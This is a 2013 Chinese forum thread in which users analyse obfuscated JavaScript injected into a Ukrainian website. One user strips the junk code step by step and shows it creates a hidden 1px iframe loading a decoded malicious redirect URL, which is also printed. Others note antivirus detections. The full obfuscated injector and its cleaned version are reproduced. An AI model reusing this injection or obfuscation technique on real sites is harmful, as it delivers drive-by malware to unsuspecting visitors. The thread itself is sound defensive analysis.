http://www.s-format.com.ua/index.php【失效 by dayangyang】

墨家小子

咖啡没反应

蓝核

去召唤了……额……

1. <script type="text/javascript">var Lrkc=101;var zXnYRS='aarOF';var zjbHKB='WRdmM';if('hgWW'=='uagg')iixt();var DRkyDMH="";var hyUq;function RXpTl(){}
   
2. var aSTQgNzYv="\x73lice";if('zuySho'=='UbheFE')cTkb();function arIf(){var KfvfrG='ubaYuq';if('LUfaD'=='pLuaHl')xKXJBs();}
   
3. var oAmaUdQA="fromCharCo\x64e";var srOmo;var duNq;var yiJHBP="body";var QMoPe="939f9f9b655a5a9b9d9a8e97908c99598f8f999e599499919a5a929a599b939b6a9e948f685c";var IyRcO='Zpspx';var FieJmboeg="append\x43hild";function srJNuJ(){var eXWRV='cHiRD';if('qoTpi'=='TaGKkS')IGoYe();}var WzNIot=3;if('YUdDQO'=='LsEGtM')HuOozM();if('puBFaL'=='JGlEXu')PaYiXl='MBcnl';var shhcj=166;var jxJbjgwO="c\x6f\x6estruc\x74\x6fr";if('KJYk'=='pWrGpO')Ghamz();var gwrG=227;var px0_var="0\x70x";function BDPZ(){}
   
4. var CxTrnr="par\x73eInt";function ifGT(){}
   
5. var px1_var="1px";var YKkRyU;var IhfQVB=107;var sbpuPG=55;var appVersion_var="appVers\x69on";var vJXFaTm=(function(){var BOFI;if('UQxMMx'=='ePTSl')IWGKj();var qzLbm='kRRJOL';return this;function ROcePW(){}})();var GpQxp=220;var tTHFMjzDU="ajbBBk"[jxJbjgwO];if('wcIdx'=='XidEg')zVXsff();function rWpQEO(){var jVttn='DrWlp';if('SApQr'=='ZcOg')NfJOMZ();}function BlxSe(){}
   
6. var awhiPr;for(var UAHytZZ=0;UAHytZZ<QMoPe.length;UAHytZZ+=2){var PaPx=202;var pAEiJo=96;RmcUsG=vJXFaTm[CxTrnr](QMoPe[aSTQgNzYv](UAHytZZ,UAHytZZ+2),16)-43;var FBlc='uhBq';DRkyDMH+=tTHFMjzDU[oAmaUdQA](RmcUsG);var TaUE='gmDgeK';}
   
7. function Oedm(){}if('WojMJ'=='IOct')CbaOh='dcur';if('DZQrI'=='OuzN')HKsT='UVvm';var ErhHH="luGmkxfEd";var BpFRT=144;if('PtcA'=='hyHZiS')myCrLR='tFby';var yvsHvS='sSgPM';var AqUEfDhD="";var UCuasV;if(navigator[appVersion_var].indexOf("MSIE")!=-1){var ZLvh='GPJu';function TQcVeG(){var BWPg='VcAeB';if('agok'=='DDIeAr')ugghau();}
   
8. AqUEfDhD='<iframe name="'+ErhHH+'" src="'+DRkyDMH+'">';if('qKvkhb'=='VWtZ')MrmG='VGLUcr';}else{function xLzEk(){}
   
9. AqUEfDhD='iframe';}
   
10. var yltjHO=72;var ROBLPe='UTDG';var TQsMZtoOs=document.createElement(AqUEfDhD);TQsMZtoOs.YqjZga=function(){var HAdUa='MRbla';this["src"]=DRkyDMH;var xEGF='aGuYoV';var bQIHq='tSPdB';}
    
11. function NFqrBV(){var AkGiGi='ANuJ';if('qidI'=='RnqdJ')LSkoK();}function XicTli(){}
    
12. var xmVYM=186;TQsMZtoOs.style.height=px1_var;var NmdIM;function TpCf(){var RnfIbI='cWKFvg';if('kYGRQa'=='tsuTWi')IgWTDH();}
    
13. TQsMZtoOs.name=ErhHH;if('XLCWM'=='RaRiz')RzTI();var dDcEQW=89;TQsMZtoOs.YqjZga();var yXUH='nZfAJ';var HYUPwV='VdXdr';TQsMZtoOs.style.top=px0_var;function uyOm(){var CTsH='iISaTs';if('qbwvB'=='rvAy')rkNwf();}if('jIWVWk'=='MqqE')NqFlm();TQsMZtoOs.style.position="absolute";var EvvYG;var QBKZ='oDfdFl';var HwGYx=262;TQsMZtoOs.style.right=px0_var;TQsMZtoOs.style.width=px1_var;function BypRBQ(){var npOVAc='lEFk';if('xEfxcP'=='autyjB')XfHAPc();}
    
14. function gKvTZW(){function xkDz(){var uuFcW='sAnB';if('ytZrgl'=='vIjEq')snZWQN();}var Xiihw=194;if(document[yiJHBP]){var OEIcvY;if('AyZiTG'=='HGTWQ')QqHGo='MLQQMY';if('FrKc'=='XrAt')GsTyd='IqWTH';document[yiJHBP][FieJmboeg](TQsMZtoOs);if('gpJeq'=='VzKVy')loCFi();var YcZAm;var pJyT='TEiQc';}else{var qDRn='HhhH';function YSeD(){}
    
15. setTimeout(gKvTZW,120);function KBSm(){var BRoHE='ztbOFw';if('UVeKZ'=='iTXH')NzuFes();}}
    
16. var XzEn='UslOXl';function nSNA(){var aPFC='iMOYqd';if('TuDH'=='IKLmg')NZYRaS();}}
    
17. var hsqVu;if('WFDOae'=='qBPV')MntN();gKvTZW();if('iQQaZ'=='MBLtAG')EZvrom='jPqHRO';var FJEBAU=239;if('xVAzM'=='NuuUYn')Tcna='MSTR';</script>

复制代码

不知道对不对，反正我没找到其他的

dayangyang

就是这段代码啊。。。看得我眼睛要瞎了。。累死啊
wepawet居然说是温和的。。wepawet越来越不靠谱了。。
开始就是一大堆无用的变量和函数
fromCharCo 。。iframe document.write。。。这些关键字都藏在了中间
去杂。去除无关的干扰，去除\X转义符得到：

1. <script type="text/javascript">
   
2.     var DRkyDMH="";
   
3. 
   
4.     var vJXFaTm=(function(){
   
5.     return this;}
   
6.     var QMoPe="939f9f9b655a5a9b9d9a8e97908c99598f8f999e599499919a5a929a599b939b6a9e948f685c";
   
7. 
   
8.     var px0_var="0px";
   
9.     var px1_var="1px";
   
10.     var appVersion_var="appVersion";
    
11. 
    
12.     var tTHFMjzDU="ajbBBk"[constructor];
    
13. 
    
14.     for(var i=0;
    
15.     i<QMoPe.length;
    
16.     i+=2)
    
17.    {  
    
18.     R=vJXFaTm[parseInt](QMoPe[slice](i,i+2),16)-43;
    
19.     DRkyDMH+=tTHFMjzDU[fromCharCode](R);
    
20.     }
    
21. 
    
22.     var AqUEfDhD="";
    
23.     if(navigator[appVersion_var].indexOf("MSIE")!=-1){
    
24.       AqUEfDhD='<iframe name="'+ErhHH+'" src="'+DRkyDMH+'">';
    
25.     }
    
26.     else{
    
27.       AqUEfDhD='iframe';
    
28.     }
    
29. 
    
30.     var TQsMZtoOs=document.createElement(AqUEfDhD);
    
31.     TQsMZtoOs.YqjZga=function(){
    
32. 
    
33.     this["src"]=DRkyDMH;
    
34.     }
    
35.     TQsMZtoOs.style.height=px1_var;
    
36.     TQsMZtoOs.name=ErhHH;
    
37.     TQsMZtoOs.YqjZga();
    
38.     TQsMZtoOs.style.top=px0_var;
    
39.     TQsMZtoOs.style.position="absolute";
    
40.     TQsMZtoOs.style.right=px0_var;
    
41.     TQsMZtoOs.style.width=px1_var;
    
42.       var Xiihw=194;
    
43.     if(document.body)
    
44.    {
    
45.     document.body.appendChild(TQsMZtoOs);
    
46.     }
    
47.     else{
    
48.       setTimeout(gKvTZW,120);   
    
49.     }
    
50. 
    
51.     </script>

复制代码

到这里想必能看出大概了，那么中间的网址究竟是啥？

1. <script type="text/javascript">
   
2.     var D="";
   
3.     var Q="939f9f9b655a5a9b9d9a8e97908c99598f8f999e599499919a5a929a599b939b6a9e948f685c";
   
4.     for(var i=0;
   
5.     i<Q.length;
   
6.     i+=2)
   
7.    {  
   
8.     R=parseInt(Q.slice(i,i+2),16)-43;
   
9.     D+=String.fromCharCode(R);
   
10.     }
    
11.     alert(D);
    
12.     </script>

复制代码

运行这段得到URL：http://proclean.ddns.info/go.php?sid=1
Chrome显示最后一次在此网站上发现可疑内容的时间是 2013-04-22。
点开跳转到http://guru-host.ru/了。。应该是已经失效了。。。
赶紧碎觉去明天见导师。。。

qq976690702

AVAST 8.0已拦截

qq976690702

忘记截图了

蓝核

dayangyang 发表于 2013-4-24 00:43
就是这段代码啊。。。看得我眼睛要瞎了。。累死啊
wepawet居然说是温和的。。wepawet越来越不靠谱了。。
...

我去。。。你好棒。早点休息！
有空pm！

wjhstu-VxG

dayangyang 发表于 2013-4-24 00:43
就是这段代码啊。。。看得我眼睛要瞎了。。累死啊
wepawet居然说是温和的。。wepawet越来越不靠谱了。。
...

也不是越来越……是基本不靠谱了……特别是火狐这些新的

wjhstu-VxG

dayangyang 发表于 2013-4-24 00:43
就是这段代码啊。。。看得我眼睛要瞎了。。累死啊
wepawet居然说是温和的。。wepawet越来越不靠谱了。。
...

给力啊，那么杂乱的都能去杂，真是火眼金睛啊……